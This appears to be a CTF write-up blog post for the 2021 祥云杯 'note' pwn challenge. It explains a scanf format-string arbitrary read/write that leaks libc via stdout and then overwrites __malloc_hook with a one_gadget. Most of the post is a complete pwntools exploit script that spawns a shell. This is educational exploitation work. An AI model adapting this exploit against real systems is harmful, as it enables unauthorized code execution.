2021 祥云杯 pwn-note

2021 祥云杯 pwn-note

这是一道scanf任意读写的pwn题
在这里插入图片描述
漏洞点发生在上图

在第一个图那里下个断点,查看stack时发现%11$p这里有一个stdout,这个给了我们泄露libc的机会,我们可以打stdout的flag和write_ptr,具体的可以看别的师傅对stdout泄露libc分析的文章
拿到libc之后,算出ogg,ogg出来了,可以再利用scanf任意地址写打malloc为ogg。

偏移为7, 这里笔者用的ubuntu20.04的2.31libc做的,不需要利用realloc来调整可以直接利用,题目给的libc需要利用realloc来调整一下即可。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './note'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = 'choice:'

def add(size, content):
    r.sendlineafter(menu, '1')
    r.sendlineafter('size: ', str(size))
    r.sendafter('content: ', content)

def show():
    r.sendlineafter(menu, '3')

def say(note1, note2):
    r.sendlineafter(menu, '2')
    r.sendafter('say ? ', note1)
    r.sendlineafter('? ', note2)

p1 = b'%11$s'
p2 = p64(0xfbad1800) + p64(0) * 3
say(p1, p2)

_IO_2_1_stdin_ = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('_IO_2_1_stdin_ = ' + hex(_IO_2_1_stdin_))

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = _IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
li('libc_base = ' + hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
li('malloc_hook = ' + hex(malloc_hook))

realloc_hook = libc_base + libc.sym['__realloc_hook']
li('realloc_hook = ' + hex(realloc_hook))

one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + one[1]

p3 = b'%7$saaaa' + p64(malloc_hook)
p4 = p64(one_gadget)
say(p3, p4)

r.sendline('1')

r.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值